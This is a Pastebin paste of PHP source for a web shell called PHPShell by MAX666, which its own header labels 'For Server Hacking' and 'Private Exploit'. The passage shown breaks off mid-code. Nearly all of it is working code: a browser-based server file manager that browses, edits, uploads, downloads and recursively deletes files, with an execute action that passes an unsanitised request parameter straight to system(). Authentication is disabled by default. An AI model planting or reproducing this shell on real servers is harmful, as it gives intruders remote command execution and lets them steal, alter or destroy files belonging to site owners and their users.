Advertisement
Guest User

Untitled

a guest
May 22nd, 2017
547
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 39.30 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  
  5. /*
  6.  
  7. *****************************************************************************************
  8.  
  9. * PHPSHELL.PHP *
  10.  
  11. *****************************************************************************************
  12.  
  13. * *
  14.  
  15. * Welcome to Macker's Private PHPShell script... *
  16.  
  17. * This script will allow you to browse webservers etc... *
  18.  
  19. * Just copy the file to your directory and open it in your Internet Browser. *
  20.  
  21. * *
  22.  
  23. * The webserver should support PHP... *
  24.  
  25. * *
  26.  
  27. * You can modify the script if you want, but please send me a copy to: *
  28.  
  29. * MAX666@iranstars.com *
  30.  
  31. *****************************************************************************************
  32.  
  33.  
  34.  
  35. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  36.  
  37. !! PLEASE NOTE: You should use this script at own risk, it should do damage to the !!
  38.  
  39. !! Sites or even the server... You are responsible for your own deeds. !!
  40.  
  41. !! The admin of your webserver should always know you are using this !!
  42.  
  43. !! script. !!
  44.  
  45. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  46.  
  47. */
  48.  
  49.  
  50.  
  51.  
  52.  
  53. /*Setting some envirionment variables...*/
  54.  
  55.  
  56.  
  57. /* I added this to ensure the script will run correctly...
  58.  
  59. Please enter the Script's filename in this variable. */
  60.  
  61. $SFileName=$PHP_SELF;
  62.  
  63.  
  64.  
  65. /* uncomment the two following variables if you want to use http
  66.  
  67. authentication. This will password protect your PHPShell */
  68.  
  69. //$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */
  70.  
  71. //$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */
  72.  
  73.  
  74.  
  75. error_reporting(0);
  76.  
  77. $PHPVer=phpversion();
  78.  
  79. $isGoodver=(intval($PHPVer[0])>=4);
  80.  
  81. $scriptTitle = "PHPShell";
  82.  
  83. $scriptident = "$scriptTitle by MAX666";
  84.  
  85.  
  86.  
  87. $urlAdd = "";
  88.  
  89. $formAdd = "";
  90.  
  91.  
  92.  
  93. function walkArray($array){
  94.  
  95. while (list($key, $data) = each($array))
  96.  
  97. if (is_array($data)) { walkArray($data); }
  98.  
  99. else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";}
  100.  
  101. }
  102.  
  103.  
  104.  
  105. if (isset($_PUT)) walkArray($_PUT);
  106.  
  107. if (isset($_GET)) walkArray($_GET);
  108.  
  109. if (isset($_POST)) walkArray($_POST);
  110.  
  111.  
  112.  
  113.  
  114.  
  115. $pos = strpos($urlAdd, "s=r");
  116.  
  117. if (strval($pos) != "") {
  118.  
  119. $urlAdd= substr($urlAdd, 0, $pos);
  120.  
  121. }
  122.  
  123.  
  124.  
  125. $urlAdd .= "&s=r&";
  126.  
  127.  
  128.  
  129. if (empty($Pmax))
  130.  
  131. $Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */
  132.  
  133. if (empty($Pidx))
  134.  
  135. $Pidx = 0;
  136.  
  137.  
  138.  
  139. $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
  140.  
  141. $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  142.  
  143.  
  144.  
  145. $scriptdate = "For Server Hacking";
  146.  
  147. $scriptver = "Private Exploit";
  148.  
  149. $LOCAL_IMAGE_DIR = "img";
  150.  
  151. $REMOTE_IMAGE_URL = "img";
  152.  
  153. $img = array(
  154.  
  155. "Edit" => "edit.gif",
  156.  
  157. "Download" => "download.gif",
  158.  
  159. "Upload" => "upload.gif",
  160.  
  161. "Delete" => "delete.gif",
  162.  
  163. "View" => "view.gif",
  164.  
  165. "Rename" => "rename.gif",
  166.  
  167. "Move" => "move.gif",
  168.  
  169. "Copy" => "copy.gif",
  170.  
  171. "Execute" => "exec.gif"
  172.  
  173. );
  174.  
  175.  
  176.  
  177. while (list($id, $im)=each($img))
  178.  
  179. if (file_exists("$LOCAL_IMAGE_DIR/$im"))
  180.  
  181. $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
  182.  
  183. else
  184.  
  185. $img[$id] = "[$id]";
  186.  
  187.  
  188.  
  189.  
  190.  
  191.  
  192.  
  193.  
  194.  
  195. /* HTTP AUTHENTICATION */
  196.  
  197.  
  198.  
  199. if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) {
  200.  
  201. setcookie("noauth","");
  202.  
  203. Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\"");
  204.  
  205. Header( "HTTP/1.0 401 Unauthorized");
  206.  
  207. echo "Your username or password is incorrect";
  208.  
  209. exit ;
  210.  
  211.  
  212.  
  213. }
  214.  
  215.  
  216.  
  217. function buildUrl($display, $url) {
  218.  
  219. global $urlAdd;
  220.  
  221. $url = $SFileName . "?$urlAdd$url";
  222.  
  223. return "<a href=\"$url\">$display</a>";
  224.  
  225. }
  226.  
  227.  
  228.  
  229. function sp($mp) {
  230.  
  231. for ( $i = 0; $i < $mp; $i++ )
  232.  
  233. $ret .= "&nbsp;";
  234.  
  235. return $ret;
  236.  
  237. }
  238.  
  239.  
  240.  
  241. function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr); }
  242.  
  243.  
  244.  
  245. function Mydeldir($Fdir) {
  246.  
  247. if (is_dir($Fdir)) {
  248.  
  249. $Fh=@opendir($Fdir);
  250.  
  251. while ($Fbuf = readdir($Fh))
  252.  
  253. if (($Fbuf != ".") && ($Fbuf != ".."))
  254.  
  255. Mydeldir("$Fdir/$Fbuf");
  256.  
  257. @closedir($Fh);
  258.  
  259. return rmdir($Fdir);
  260.  
  261. } else {
  262.  
  263. return unlink($Fdir);
  264.  
  265. }
  266.  
  267. }
  268.  
  269.  
  270.  
  271.  
  272.  
  273. function arrval ($array) {
  274.  
  275. list($key, $data) = $array;
  276.  
  277. return $data;
  278.  
  279. }
  280.  
  281.  
  282.  
  283. function formatsize($insize) {
  284.  
  285. $size = $insize;
  286.  
  287. $add = "B";
  288.  
  289. if ($size > 1024) {
  290.  
  291. $size = intval(intval($size) / 1.024)/1000;
  292.  
  293. $add = "KB";
  294.  
  295. }
  296.  
  297. if ($size > 1024) {
  298.  
  299. $size = intval(intval($size) / 1.024)/1000;
  300.  
  301. $add = "MB";
  302.  
  303. }
  304.  
  305. if ($size > 1024) {
  306.  
  307. $size = intval(intval($size) / 1.024)/1000;
  308.  
  309. $add = "GB";
  310.  
  311. }
  312.  
  313. if ($size > 1024) {
  314.  
  315. $size = intval(intval($size) / 1.024)/1000;
  316.  
  317. $add = "TB";
  318.  
  319. }
  320.  
  321. return "$size $add";
  322.  
  323. }
  324.  
  325.  
  326.  
  327. if ($cmd != "downl") {
  328.  
  329. ?>
  330.  
  331.  
  332.  
  333. <!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?> -->
  334.  
  335. <HTML>
  336.  
  337. <HEAD>
  338.  
  339. <STYLE>
  340.  
  341. <!--
  342.  
  343. A{ text-decoration:none; color:navy; font-size: 12px }
  344.  
  345. body { font-size: 12px;
  346.  
  347. font-family: arial, helvetica;
  348.  
  349. scrollbar-width: 5;
  350.  
  351. scrollbar-height: 5;
  352.  
  353. scrollbar-face-color: white;
  354.  
  355. scrollbar-shadow-color: silver;
  356.  
  357. scrollbar-highlight-color: white;
  358.  
  359. scrollbar-3dlight-color:silver;
  360.  
  361. scrollbar-darkshadow-color: silver;
  362.  
  363. scrollbar-track-color: white;
  364.  
  365. scrollbar-arrow-color: black;
  366.  
  367. }
  368.  
  369. Table { font-size: 12px; }
  370.  
  371. TR{ font-size: 12px; }
  372.  
  373. TD{ font-size: 12px;
  374.  
  375. font-family: arial, helvetical;
  376.  
  377. BORDER-LEFT: black 0px solid;
  378.  
  379. BORDER-RIGHT: black 0px solid;
  380.  
  381. BORDER-TOP: black 0px solid;
  382.  
  383. BORDER-BOTTOM: black 0px solid;
  384.  
  385. COLOR: black;
  386.  
  387. }
  388.  
  389. .border{ BORDER-LEFT: black 1px solid;
  390.  
  391. BORDER-RIGHT: black 1px solid;
  392.  
  393. BORDER-TOP: black 1px solid;
  394.  
  395. BORDER-BOTTOM: black 1px solid;
  396.  
  397. }
  398.  
  399. .none { BORDER-LEFT: black 0px solid;
  400.  
  401. BORDER-RIGHT: black 0px solid;
  402.  
  403. BORDER-TOP: black 0px solid;
  404.  
  405. BORDER-BOTTOM: black 0px solid;
  406.  
  407. }
  408.  
  409. .inputtext {
  410.  
  411. background-color: #EFEFEF;
  412.  
  413. font-family: arial, helvetica;
  414.  
  415. border: 1px solid #000000;
  416.  
  417. height: 20;
  418.  
  419. }
  420.  
  421. .lighttd { background: #F8F8F8;
  422.  
  423. }
  424.  
  425. .darktd { background: #E8E8E8;
  426.  
  427. }
  428.  
  429. input { font-family: arial, helvetica;
  430.  
  431. }
  432.  
  433. .inputbutton {
  434.  
  435. background-color: silver;
  436.  
  437. border: 1px solid #000000;
  438.  
  439. border-width: 1px;
  440.  
  441. height: 20;
  442.  
  443. }
  444.  
  445. .inputtextarea {
  446.  
  447. background-color: #EFEFEF;
  448.  
  449. border: 1px solid #000000;
  450.  
  451. scrollbar-width: 5;
  452.  
  453. scrollbar-height: 5;
  454.  
  455. scrollbar-face-color: #EFEFEF;
  456.  
  457. scrollbar-shadow-color: silver;
  458.  
  459. scrollbar-highlight-color: #EFEFEF;
  460.  
  461. scrollbar-3dlight-color:silver;
  462.  
  463. scrollbar-darkshadow-color: silver;
  464.  
  465. scrollbar-track-color: #EFEFEF;
  466.  
  467. scrollbar-arrow-color: black;
  468.  
  469. }
  470.  
  471. .top { BORDER-TOP: black 1px solid; }
  472.  
  473. .textin { BORDER-LEFT: silver 1px solid;
  474.  
  475. BORDER-RIGHT: silver 1px solid;
  476.  
  477. BORDER-TOP: silver 1px solid;
  478.  
  479. BORDER-BOTTOM: silver 1px solid;
  480.  
  481. width: 99%; font-size: 12px; font-weight: bold; color: navy;
  482.  
  483. }
  484.  
  485. .notop { BORDER-TOP: black 0px solid; }
  486.  
  487. .bottom { BORDER-BOTTOM: black 1px solid; }
  488.  
  489. .nobottom { BORDER-BOTTOM: black 0px solid; }
  490.  
  491. .left { BORDER-LEFT: black 1px solid; }
  492.  
  493. .noleft { BORDER-LEFT: black 0px solid; }
  494.  
  495. .right { BORDER-RIGHT: black 1px solid; }
  496.  
  497. .noright { BORDER-RIGHT: black 0px solid; }
  498.  
  499. .silver{ BACKGROUND: silver; }
  500.  
  501. -->
  502.  
  503. </STYLE>
  504.  
  505. <TITLE><?php echo $SFileName ?></TITLE>
  506.  
  507. </HEAD>
  508.  
  509. <body topmargin="0" leftmargin="0">
  510.  
  511. <div style="position: absolute; background: white; z-order:10000; top:0; left:0; width: 100%; height: 100%;">
  512.  
  513. <table width=100% height="100%" NOWRAP border="0">
  514.  
  515. <tr NOWRAP>
  516.  
  517. <td width="100%" NOWRAP>
  518.  
  519. <table NOWRAP width=100% border="0" cellpadding="0" cellspacing="0">
  520.  
  521. <tr>
  522.  
  523. <td width="100%" class="silver border">
  524.  
  525. <center>
  526.  
  527. <strong>
  528.  
  529. <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font>
  530.  
  531. </strong>
  532.  
  533. </center>
  534.  
  535. </td>
  536.  
  537. </tr>
  538.  
  539. </table><br>
  540.  
  541.  
  542.  
  543. <?php
  544.  
  545. }
  546.  
  547.  
  548.  
  549. if ( $cmd=="dir" ) {
  550.  
  551. $h=@opendir($dir);
  552.  
  553. if ($h == false) {
  554.  
  555. echo "<br><font color=\"red\">".sp(3)."\n\n\n\n
  556.  
  557. COULD NOT OPEN THIS DIRECTORY!!!<br>".sp(3)."\n
  558.  
  559. THE SCRIPT WILL RESULT IN AN ERROR!!!
  560.  
  561. <br><br>".sp(3)."\n
  562.  
  563. PLEASE MAKE SURE YOU'VE GOT READ PERMISSIONS TO THE DIR...
  564.  
  565. <br><br></font>\n\n\n\n";
  566.  
  567. }
  568.  
  569. if (function_exists('realpath')) {
  570.  
  571. $partdir = realpath($dir);
  572.  
  573. }
  574.  
  575. else {
  576.  
  577. $partdir = $dir;
  578.  
  579. }
  580.  
  581. if (strlen($partdir) >= 100) {
  582.  
  583. $partdir = substr($partdir, -100);
  584.  
  585. $pos = strpos($partdir, "/");
  586.  
  587. if (strval($pos) != "") {
  588.  
  589. $partdir = "<-- ...".substr($partdir, $pos);
  590.  
  591. }
  592.  
  593. $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
  594.  
  595. $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
  596.  
  597. $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  598.  
  599. }
  600.  
  601. ?>
  602.  
  603. <form name="urlform" action="<?php echo "$SFileName?$urlAdd"; ?>" method="POST"><input type="hidden" name="cmd" value="dir">
  604.  
  605. <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0">
  606.  
  607. <tr>
  608.  
  609. <td width="100%" class="silver border">
  610.  
  611. <center>&nbsp;HAXPLORER - Server Files Browser...&nbsp;</center>
  612.  
  613. </td>
  614.  
  615. </tr>
  616.  
  617. </table>
  618.  
  619. <br>
  620.  
  621. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  622.  
  623. <tr>
  624.  
  625. <td class="border nobottom noright">
  626.  
  627. &nbsp;Browsing:&nbsp;
  628.  
  629. </td>
  630.  
  631. <td width="100%" class="border nobottom noleft">
  632.  
  633. <table width="100%" border="0" cellpadding="1" cellspacing="0">
  634.  
  635. <tr>
  636.  
  637. <td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td>
  638.  
  639. <td NOWRAP><center>&nbsp;<a href="javascript: urlform.submit();"><b>GO<b></a>&nbsp;<center></td>
  640.  
  641. </tr>
  642.  
  643. </table>
  644.  
  645.  
  646.  
  647. </td>
  648.  
  649. </tr>
  650.  
  651. </table>
  652.  
  653. <!-- </form> -->
  654.  
  655. <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" >
  656.  
  657. <tr>
  658.  
  659. <td width="100%" NOWRAP class="silver border">
  660.  
  661. &nbsp;Filename&nbsp;
  662.  
  663. </td>
  664.  
  665. <td NOWRAP class="silver border noleft">
  666.  
  667. &nbsp;Actions&nbsp;(Attempt to perform)&nbsp;
  668.  
  669. </td>
  670.  
  671. <td NOWRAP class="silver border noleft">
  672.  
  673. &nbsp;Size&nbsp;
  674.  
  675. </td>
  676.  
  677. <td width=1 NOWRAP class="silver border noleft">
  678.  
  679. &nbsp;Attributes&nbsp;
  680.  
  681. </td>
  682.  
  683. <td NOWRAP class="silver border noleft">
  684.  
  685. &nbsp;Modification Date&nbsp;
  686.  
  687. </td>
  688.  
  689. <tr>
  690.  
  691. <?php
  692.  
  693.  
  694.  
  695.  
  696.  
  697. /* <!-- This whole heap of junk is the sorting section... */
  698.  
  699.  
  700.  
  701. $dirn = array();
  702.  
  703. $filen = array();
  704.  
  705. $filesizes = 0;
  706.  
  707. while ($buf = readdir($h)) {
  708.  
  709. if (is_dir("$dir/$buf"))
  710.  
  711. $dirn[] = $buf;
  712.  
  713. else
  714.  
  715. $filen[] = $buf;
  716.  
  717. }
  718.  
  719. $dirno = count($dirn) + 1;
  720.  
  721. $fileno = count($filen) + 1;
  722.  
  723.  
  724.  
  725. function mycmp($a, $b){
  726.  
  727. if ($a == $b) return 0;
  728.  
  729. return (strtolower($a) < strtolower($b)) ? -1 : 1;
  730.  
  731. }
  732.  
  733.  
  734.  
  735. if (function_exists("usort")) {
  736.  
  737. usort($dirn, "mycmp");
  738.  
  739. usort($filen, "mycmp");
  740.  
  741. }
  742.  
  743. else {
  744.  
  745. sort ($dirn);
  746.  
  747. sort ($filen);
  748.  
  749. }
  750.  
  751. reset ($dirn);
  752.  
  753. reset ($filen);
  754.  
  755. if (function_exists('array_merge')) {
  756.  
  757. $filelist = array_merge ($dirn, $filen);
  758.  
  759. }
  760.  
  761. else {
  762.  
  763. $filelist = $dirn + $filen;
  764.  
  765. }
  766.  
  767.  
  768.  
  769.  
  770.  
  771. if ( count($filelist)-1 > $Pmax ) {
  772.  
  773. $from = $Pidx * $Pmax;
  774.  
  775. $to = ($Pidx + 1) * $Pmax-1;
  776.  
  777. if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 )
  778.  
  779. $to = count($filelist) - 1;
  780.  
  781. if ($to > count($filelist)-1)
  782.  
  783. $to = count($filelist)-1;
  784.  
  785. $Dcontents = array();
  786.  
  787. For ($Fi = $from; $Fi <= $to; $Fi++) {
  788.  
  789. $Dcontents[] = $filelist[$Fi];
  790.  
  791. }
  792.  
  793.  
  794.  
  795. }
  796.  
  797. else {
  798.  
  799. $Dcontents = $filelist;
  800.  
  801. }
  802.  
  803.  
  804.  
  805. $tdcolors = array("lighttd", "darktd");
  806.  
  807.  
  808.  
  809. while (list ($key, $file) = each ($Dcontents)) {
  810.  
  811. if (!$tdcolor=arrval(each($tdcolors))) {
  812.  
  813. reset($tdcolors);
  814.  
  815. $tdcolor = arrval(each($tdcolors)); }
  816.  
  817.  
  818.  
  819. if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */
  820.  
  821. /* <!-- Dirname --> */
  822.  
  823. echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."</td>\n";
  824.  
  825. /* <!-- Actions --> */
  826.  
  827. echo "<td NOWRAP class=\"top right $tdcolor\"><center>".sp(2)."\n";
  828.  
  829. /* <!-- Rename --> */
  830.  
  831. if ( ($file != ".") && ($file != "..") )
  832.  
  833. echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
  834.  
  835. /* <!-- Delete --> */
  836.  
  837. if ( ($file != ".") && ($file != "..") )
  838.  
  839. echo sp(3).buildUrl( $img["Delete"], "cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
  840.  
  841. /* <!-- End of Actions --> */
  842.  
  843. echo "&nbsp;&nbsp;</center></td>\n";
  844.  
  845. /* <!-- Size --> */
  846.  
  847. echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;</td>\n";
  848.  
  849. /* <!-- Attributes --> */
  850.  
  851. echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n";
  852.  
  853. echo "<strong>D</strong>";
  854.  
  855. if ( @is_readable("$dir/$file") ) {
  856.  
  857. echo "<strong>R</strong>";
  858.  
  859. }
  860.  
  861. if (function_exists('is_writeable')) {
  862.  
  863. if ( @is_writeable("$dir/$file") ) {
  864.  
  865. echo "<strong>W</stong>";
  866.  
  867. }
  868.  
  869. }
  870.  
  871. else {
  872.  
  873. echo "<strong>(W)</stong>";
  874.  
  875. }
  876.  
  877. if ( @is_executable("$dir/$file") ) {
  878.  
  879. echo "<Strong>X<strong>";
  880.  
  881. }
  882.  
  883. echo "&nbsp;&nbsp;</td>\n";
  884.  
  885. /* <!-- Date --> */
  886.  
  887. echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n";
  888.  
  889. echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
  890.  
  891. echo "</td>";
  892.  
  893. echo "</tr>\n";
  894.  
  895.  
  896.  
  897. }
  898.  
  899. else { /* <!-- Then it must be a File... --> */
  900.  
  901. /* <!-- Filename --> */
  902.  
  903. if ( @is_readable("$dir/$file") )
  904.  
  905. echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."</td>\n";
  906.  
  907. else
  908.  
  909. echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."</td>\n";
  910.  
  911. /* <!-- Actions --> */
  912.  
  913. echo "<td NOWRAP class=\"top right $tdcolor\"><center>&nbsp;&nbsp;\n";
  914.  
  915. /* <!-- Rename --> */
  916.  
  917. echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
  918.  
  919. /* <!-- Edit --> */
  920.  
  921. if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
  922.  
  923. echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n";
  924.  
  925. /* <!-- Copy --> */
  926.  
  927. echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n";
  928.  
  929. /* <!-- Move --> */
  930.  
  931. if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
  932.  
  933. echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n";
  934.  
  935. /* <!-- Delete --> */
  936.  
  937. echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
  938.  
  939. /* <!-- Download --> */
  940.  
  941. echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n";
  942.  
  943. /* <!-- Execute --> */
  944.  
  945. if ( @is_executable("$dir/$file") )
  946.  
  947. echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n";
  948.  
  949. /* <!-- End of Actions --> */
  950.  
  951. echo sp(2)."</center></td>\n";
  952.  
  953. /* <!-- Size --> */
  954.  
  955. echo "<td NOWRAP align=\"right\" class=\"top right $tdcolor\" NOWRAP >\n";
  956.  
  957. $size = @filesize("$dir/$file");
  958.  
  959. If ($size != false) {
  960.  
  961. $filesizes += $size;
  962.  
  963. echo "&nbsp;&nbsp;<strong>".formatsize($size)."<strong>";
  964.  
  965. }
  966.  
  967. else
  968.  
  969. echo "&nbsp;&nbsp;<strong>0 B<strong>";
  970.  
  971. echo "&nbsp;&nbsp;</td>\n";
  972.  
  973.  
  974.  
  975. /* <!-- Attributes --> */
  976.  
  977. echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n";
  978.  
  979.  
  980.  
  981. if ( @is_readable("$dir/$file") )
  982.  
  983. echo "<strong>R</strong>";
  984.  
  985. if ( @is_writeable("$dir/$file") )
  986.  
  987. echo "<strong>W</stong>";
  988.  
  989. if ( @is_executable("$dir/$file") )
  990.  
  991. echo "<Strong>X<strong>";
  992.  
  993. if (function_exists('is_uploaded_file')){
  994.  
  995. if ( @is_uploaded_file("$dir/$file") )
  996.  
  997. echo "<Strong>U<strong>";
  998.  
  999. }
  1000.  
  1001. else {
  1002.  
  1003. echo "<Strong>(U)<strong>";
  1004.  
  1005. }
  1006.  
  1007. echo "&nbsp;&nbsp;</td>\n";
  1008.  
  1009. /* <!-- Date --> */
  1010.  
  1011. echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n";
  1012.  
  1013. echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
  1014.  
  1015. echo "</td>";
  1016.  
  1017. echo "</tr>\n";
  1018.  
  1019. }
  1020.  
  1021. }
  1022.  
  1023.  
  1024.  
  1025. echo "</table><table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr>\n<td NOWRAP width=100% class=\"silver border noright\">\n";
  1026.  
  1027. echo "&nbsp;&nbsp;".@count ($dirn)."&nbsp;Dir(s),&nbsp;".@count ($filen)."&nbsp;File(s)&nbsp;&nbsp;\n";
  1028.  
  1029. echo "</td><td NOWRAP class=\"silver border noleft\">\n";
  1030.  
  1031. echo "&nbsp;&nbsp;Total filesize:&nbsp;".formatsize($filesizes)."&nbsp;&nbsp;<td></tr>\n";
  1032.  
  1033.  
  1034.  
  1035. function printpagelink($a, $b, $link = ""){
  1036.  
  1037. if ($link != "")
  1038.  
  1039. echo "<A HREF=\"$link\"><b>| $a - $b |</b></A>";
  1040.  
  1041. else
  1042.  
  1043. echo "<b>| $a - $b |</b>";
  1044.  
  1045. }
  1046.  
  1047.  
  1048.  
  1049. if ( count($filelist)-1 > $Pmax ) {
  1050.  
  1051. echo "<tr><td colspan=\"2\" class=\"silver border notop\"><table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\"><tr><td valign=\"top\"><font color=\"red\"><b>Page:</b></font></td><td width=\"100%\"><center>";
  1052.  
  1053. $Fi = 0;
  1054.  
  1055. while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) {
  1056.  
  1057. $from = $Fi*$Pmax;
  1058.  
  1059. while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
  1060.  
  1061. $to = ($Fi + 1) * $Pmax - 1;
  1062.  
  1063. if ($Fi == $Pidx)
  1064.  
  1065. $link="";
  1066.  
  1067. else
  1068.  
  1069. $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
  1070.  
  1071. printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
  1072.  
  1073. echo "&nbsp;&nbsp;&nbsp;";
  1074.  
  1075. $Fi++;
  1076.  
  1077. }
  1078.  
  1079. $from = $Fi*$Pmax;
  1080.  
  1081. while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
  1082.  
  1083. $to = count($filelist)-1;
  1084.  
  1085. if ($Fi == $Pidx)
  1086.  
  1087. $link="";
  1088.  
  1089. else
  1090.  
  1091. $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
  1092.  
  1093. printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
  1094.  
  1095.  
  1096.  
  1097.  
  1098.  
  1099. echo "</center></td></tr></table></td></tr>";
  1100.  
  1101. }
  1102.  
  1103.  
  1104.  
  1105.  
  1106.  
  1107. echo "</table>\n<br><table NOWRAP>";
  1108.  
  1109.  
  1110.  
  1111. if ($isGoodver) {
  1112.  
  1113. echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer&nbsp;</td></tr>\n";
  1114.  
  1115. }
  1116.  
  1117. else {
  1118.  
  1119. echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer (Some functions might be unavailable...)&nbsp;</td></tr>\n";
  1120.  
  1121. }
  1122.  
  1123. /* <!-- Other Actions --> */
  1124.  
  1125. echo "<tr><td class=\"silver border\">&nbsp;<strong>Other actions:&nbsp;&nbsp;</strong>&nbsp;</td>\n";
  1126.  
  1127. echo "<td>&nbsp;<b>".buildUrl( "| New File |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3).
  1128.  
  1129. buildUrl( "| New Directory |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3).
  1130.  
  1131. buildUrl( "| Upload a File |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "</b>\n</td></tr>\n";
  1132.  
  1133. echo "<tr><td class=\"silver border\">&nbsp;<strong>Script Location:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PATH_TRANSLATED</td></tr>\n";
  1134.  
  1135. echo "<tr><td class=\"silver border\">&nbsp;<strong>Your IP:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$REMOTE_ADDR&nbsp;</td></tr>\n";
  1136.  
  1137. echo "<tr><td class=\"silver border\">&nbsp;<strong>Browsing Directory:&nbsp;&nbsp;</strong></td><td>&nbsp;$partdir&nbsp;</td></tr>\n";
  1138.  
  1139. echo "<tr><td valign=\"top\" class=\"silver border\">&nbsp;<strong>Legend:&nbsp;&nbsp;</strong&nbsp;</td><td>\n";
  1140.  
  1141. echo "<table NOWRAP>";
  1142.  
  1143. echo "<tr><td><strong>D:</strong></td><td>&nbsp;&nbsp;Directory.</td></tr>\n";
  1144.  
  1145. echo "<tr><td><strong>R:</strong></td><td>&nbsp;&nbsp;Readable.</td></tr>\n";
  1146.  
  1147. echo "<tr><td><strong>W:</strong></td><td>&nbsp;&nbsp;Writeable.</td></tr>\n";
  1148.  
  1149. echo "<tr><td><strong>X:</strong></td><td>&nbsp;&nbsp;Executable.</td></tr>\n";
  1150.  
  1151. echo "<tr><td><strong>U:</strong></td><td>&nbsp;&nbsp;HTTP Uploaded File.</td></tr>\n";
  1152.  
  1153. echo "</table></td>";
  1154.  
  1155. echo "</table>";
  1156.  
  1157. echo "<br>";
  1158.  
  1159. @closedir($h);
  1160.  
  1161. }
  1162.  
  1163. elseif ( $cmd=="execute" ) {/*<!-- Execute the executable -->*/
  1164.  
  1165. echo system("$file");
  1166.  
  1167. }
  1168.  
  1169. elseif ( $cmd=="deldir" ) { /*<!-- Delete a directory and all it's files --> */
  1170.  
  1171. echo "<center><table><tr><td NOWRAP>" ;
  1172.  
  1173. if ($auth == "yes") {
  1174.  
  1175. if (Mydeldir($file)==false) {
  1176.  
  1177. echo "Could not remove \"$file\"<br>Permission denied, or directory not empty...";
  1178.  
